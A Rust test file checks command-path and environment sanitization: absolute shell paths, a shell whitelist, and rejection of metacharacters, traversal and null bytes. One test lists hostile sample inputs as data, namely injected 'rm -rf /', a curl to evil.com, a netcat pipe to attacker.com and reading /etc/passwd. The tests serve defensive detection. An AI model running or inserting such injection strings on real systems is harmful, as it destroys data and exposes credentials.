// Copyright (c) 2024 Jason Witty . // All rights reserved. // // Security tests for command sanitization and validation use std::path::Path; use std::process::Command; // ============================================================================ // Command Path Validation Tests // ============================================================================ #[test] fn test_command_path_must_be_absolute() { // Commands should use absolute paths to avoid PATH manipulation attacks let safe_commands = vec!["/bin/sh", "/bin/bash", "/usr/bin/zsh"]; for cmd in safe_commands { assert!( cmd.starts_with('/'), "Command '{}' should be an absolute path", cmd ); } } #[test] fn test_command_path_no_relative_components() { // Commands should not contain relative path components like ../ or ./ let commands = vec!["/bin/sh", "/usr/bin/bash", "/bin/zsh"]; for cmd in commands { assert!( !cmd.contains(".."), "Command '{}' should not contain '..' (path traversal)", cmd ); assert!( !cmd.starts_with("./"), "Command '{}' should not start with './' (relative path)", cmd ); } } #[test] fn test_reject_shell_injection_attempts() { // These strings should never be allowed in command paths let dangerous_patterns = vec![";", "|", "&", "`", "$", "$(", "&&", "||", "\n", "\r"]; let safe_command = "/bin/sh"; for pattern in dangerous_patterns { assert!( !safe_command.contains(pattern), "Command should not contain shell metacharacter '{}'", pattern ); } } #[test] fn test_command_no_spaces() { // Command paths should not contain spaces (use absolute paths only) let safe_commands = vec!["/bin/sh", "/usr/bin/bash", "/bin/zsh"]; for cmd in safe_commands { assert!( !cmd.contains(' '), "Command path '{}' should not contain spaces", cmd ); } } #[test] fn test_command_path_canonical() { // Command paths should be canonical (no double slashes, etc.) let commands = vec!["/bin/sh", "/usr/bin/bash"]; for cmd in commands { assert!( !cmd.contains("//"), "Command '{}' should not contain double slashes", cmd ); } } // ============================================================================ // Environment Variable Security Tests // ============================================================================ #[test] fn test_term_env_var_sanitized() { // TERM variable should be a safe, known value let term_value = "xterm"; // Should not contain shell metacharacters assert!(!term_value.contains(';')); assert!(!term_value.contains('&')); assert!(!term_value.contains('|')); assert!(!term_value.contains('`')); assert!(!term_value.contains('$')); assert!(!term_value.contains('\n')); assert!(!term_value.contains('\r')); } #[test] fn test_env_var_no_null_bytes() { // Environment variables should not contain null bytes let term_value = "xterm"; assert!( !term_value.contains('\0'), "TERM variable should not contain null bytes" ); } #[test] fn test_safe_term_values() { // Only allow known-safe TERM values let safe_terms = vec![ "xterm", "xterm-256color", "screen", "screen-256color", "vt100", "vt220", "linux", "alacritty", ]; for term in safe_terms { // Verify they are alphanumeric with hyphens only assert!( term.chars().all(|c| c.is_alphanumeric() || c == '-'), "TERM value '{}' should only contain alphanumeric and hyphens", term ); } } // ============================================================================ // Command Arguments Security Tests // ============================================================================ #[test] fn test_command_builder_no_shell_expansion() { // Using Command::new prevents shell expansion let cmd = "/bin/sh"; let command = Command::new(cmd); // Command::new does not invoke a shell, so these would be literal arguments // This is the safe way to spawn processes let program = command.get_program(); assert_eq!(program, cmd); } #[test] fn test_no_shell_command_string_execution() { // We should never use sh -c "command string" pattern // This test documents that we use Command::new, not shell strings let safe_command = "/bin/sh"; // Verify we're not constructing shell command strings assert!(!safe_command.contains(" -c ")); assert!(!safe_command.contains(" -e ")); } #[test] fn test_reject_command_injection_patterns() { // These patterns indicate command injection attempts let injection_attempts = vec![ "/bin/sh; rm -rf /", "/bin/bash && curl evil.com", "/bin/sh | nc attacker.com 1234", "/bin/bash `whoami`", "/bin/sh $(cat /etc/passwd)", ]; for attempt in injection_attempts { // Any of these characters indicate shell injection let has_injection = attempt.contains(';') || attempt.contains('&') || attempt.contains('|') || attempt.contains('`') || attempt.contains("$("); assert!( has_injection, "Should detect injection attempt in: {}", attempt ); } } // ============================================================================ // Path Traversal Prevention Tests // ============================================================================ #[test] fn test_no_path_traversal_in_command() { // Commands should not allow path traversal let path_traversal_attempts = vec![ "../../../bin/sh", "/bin/../../../etc/passwd", "./evil.sh", "~/malicious.sh", ]; for attempt in path_traversal_attempts { assert!( attempt.contains("..") || attempt.starts_with("./") || attempt.starts_with('~'), "Path traversal attempt: {}", attempt ); } } #[test] fn test_safe_command_paths_exist() { // Common safe shell paths that should exist on most systems let common_shells = vec!["/bin/sh"]; for shell in common_shells { if Path::new(shell).exists() { // Verify it's an absolute path assert!(shell.starts_with('/'), "Shell path should be absolute"); } } } // ============================================================================ // Input Size Limits Tests // ============================================================================ #[test] fn test_command_path_reasonable_length() { // Command paths should have reasonable length limits let max_path_length = 4096; // Common PATH_MAX on Linux let command = "/bin/sh"; assert!( command.len() < max_path_length, "Command path should be less than {} bytes", max_path_length ); } #[test] fn test_reject_excessively_long_paths() { let excessive_path = "/".to_string() + &"a".repeat(10000); assert!( excessive_path.len() > 4096, "Test path should exceed reasonable limits" ); // In real code, we should reject paths this long } // ============================================================================ // Whitelist Validation Tests // ============================================================================ #[test] fn test_allowed_shells_whitelist() { // Define a whitelist of allowed shells let allowed_shells = vec![ "/bin/sh", "/bin/bash", "/bin/zsh", "/usr/bin/bash", "/usr/bin/zsh", "/bin/dash", ]; // All allowed shells should be absolute paths for shell in &allowed_shells { assert!( shell.starts_with('/'), "Whitelisted shell '{}' must be absolute path", shell ); } // All allowed shells should not contain dangerous characters for shell in &allowed_shells { assert!( !shell.contains(';'), "Whitelisted shell '{}' should not contain ';'", shell ); assert!( !shell.contains('&'), "Whitelisted shell '{}' should not contain '&'", shell ); } } #[test] fn test_validate_command_against_whitelist() { let allowed_shells = ["/bin/sh", "/bin/bash", "/usr/bin/zsh"]; let test_command = "/bin/sh"; assert!( allowed_shells.contains(&test_command), "Command should be in whitelist" ); let dangerous_command = "/tmp/malicious.sh"; assert!( !allowed_shells.contains(&dangerous_command), "Dangerous command should not be in whitelist" ); } // ============================================================================ // Null Byte Injection Tests // ============================================================================ #[test] fn test_no_null_bytes_in_command() { // Null bytes can truncate commands in some contexts let safe_command = "/bin/sh"; assert!( !safe_command.contains('\0'), "Command should not contain null bytes" ); } #[test] fn test_detect_null_byte_injection() { // Test that we can detect null byte injection attempts let injection = "/bin/sh\0malicious"; assert!( injection.contains('\0'), "Should detect null byte in command" ); } // ============================================================================ // File Descriptor Security Tests // ============================================================================ #[test] fn test_no_file_descriptor_redirection_in_command() { // Commands should not contain file descriptor redirections let command = "/bin/sh"; assert!(!command.contains('>'), "No output redirection"); assert!(!command.contains('<'), "No input redirection"); assert!(!command.contains("2>&1"), "No stderr redirection"); } // ============================================================================ // Unicode and Special Character Tests // ============================================================================ #[test] fn test_command_ascii_only() { // Command paths should be ASCII to avoid Unicode tricks let safe_command = "/bin/sh"; assert!(safe_command.is_ascii(), "Command path should be ASCII only"); } #[test] fn test_no_control_characters_in_command() { // Commands should not contain control characters let safe_command = "/bin/sh"; for ch in safe_command.chars() { assert!( !ch.is_control() || ch == '\n' || ch == '\t', "Command should not contain control character: {:?}", ch ); } } // ============================================================================ // Symlink and Special File Tests // ============================================================================ #[test] fn test_command_not_in_tmp() { // Commands should not be executed from /tmp (common malware location) let command = "/bin/sh"; assert!( !command.starts_with("/tmp/"), "Should not execute commands from /tmp" ); } #[test] fn test_command_not_in_user_writable_dirs() { // Commands should not be in user-writable directories let command = "/bin/sh"; let user_writable = vec!["/tmp/", "/var/tmp/", "/home/", "/Users/"]; for dir in user_writable { if command.starts_with(dir) { panic!("Command should not be in user-writable directory: {}", dir); } } } // ============================================================================ // Logging and Audit Tests // ============================================================================ #[test] fn test_command_execution_should_be_logged() { // This test documents that command execution should be logged // In the actual code, log::info! is used when spawning processes let command = "/bin/sh"; // Verify command is loggable (no sensitive data, reasonable length) assert!( command.len() < 1024, "Command should be short enough to log" ); assert!(command.is_ascii(), "Command should be safely loggable"); } // ============================================================================ // Integration with Command::new() Tests // ============================================================================ #[test] fn test_command_new_prevents_shell_expansion() { // Document that Command::new does not invoke a shell let cmd = Command::new("/bin/sh"); // Command::new takes a literal program path, no shell interpretation assert_eq!(cmd.get_program(), "/bin/sh"); } #[test] fn test_command_args_separate_from_program() { // Arguments should be passed separately, not in the program string let mut cmd = Command::new("/bin/sh"); cmd.arg("-c"); cmd.arg("echo hello"); // This is safe because args are not shell-interpreted assert_eq!(cmd.get_program(), "/bin/sh"); } // ============================================================================ // Summary Test: Complete Security Checklist // ============================================================================ #[test] fn test_command_security_checklist() { let command = "/bin/sh"; // 1. Absolute path assert!(command.starts_with('/'), "Must be absolute path"); // 2. No path traversal assert!(!command.contains(".."), "No path traversal"); // 3. No shell metacharacters assert!(!command.contains(';'), "No semicolons"); assert!(!command.contains('&'), "No ampersands"); assert!(!command.contains('|'), "No pipes"); assert!(!command.contains('`'), "No backticks"); assert!(!command.contains('$'), "No variable expansion"); // 4. No null bytes assert!(!command.contains('\0'), "No null bytes"); // 5. ASCII only assert!(command.is_ascii(), "ASCII only"); // 6. Reasonable length assert!(command.len() < 256, "Reasonable length"); // 7. Not in user-writable directory assert!(!command.starts_with("/tmp/"), "Not in /tmp"); assert!(!command.starts_with("/var/tmp/"), "Not in /var/tmp"); // 8. No spaces (absolute path only) assert!(!command.contains(' '), "No spaces in path"); println!("✓ Command '{}' passed all security checks", command); }